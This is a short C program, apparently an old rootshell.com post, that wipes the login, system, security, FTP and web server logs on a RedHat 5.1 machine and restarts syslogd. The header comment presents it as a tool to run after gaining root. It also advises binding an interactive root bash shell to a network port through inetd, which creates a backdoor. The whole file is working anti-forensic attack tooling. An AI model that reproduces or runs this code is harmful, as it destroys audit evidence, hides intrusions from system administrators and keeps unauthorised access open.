/*
This is a simple program to clean the logs on RedHat 5.1 systems.

By Sultrix - [ http://www.rootshell.com/ ]

To bind this program to a port you'll need to edit your /etc/services 
and your /etc/inetd.conf also you will need to add the following line
to the program
	system("/bin/bash -i -login");

You'll also want to check /etc/syslog.conf for other log file locations
to add to the program prior to getting root access.

*/

main()
{
	system("/bin/rm /var/run/utmp");
	system("/bin/echo "" > /var/run/utmp");
	system("/bin/rm /var/log/wtmp");
	system("/bin/echo "" > /var/log/wtmp");
	system("/bin/rm /var/log/messages");
	system("/bin/echo "" > /var/log/messages");
	system("/bin/rm /var/log/secure");
	system("/bin/echo "" > /var/log/secure");
	system("/bin/rm /var/log/xferlog");
	system("/bin/echo "" > /var/log/xferlog");
	system("/bin/rm /var/log/httpd/access_log");
	system("/bin/echo "" > /var/log/httpd/access_log");
	system("/bin/rm /var/log/httpd/error_log");
	system("/bin/echo "" > /var/log/httpd/error_log");
	system("/usr/bin/killall -HUP syslogd");
	printf("Logs have been cleaned!\n");
    	printf("syslogd restarted!\n");
}
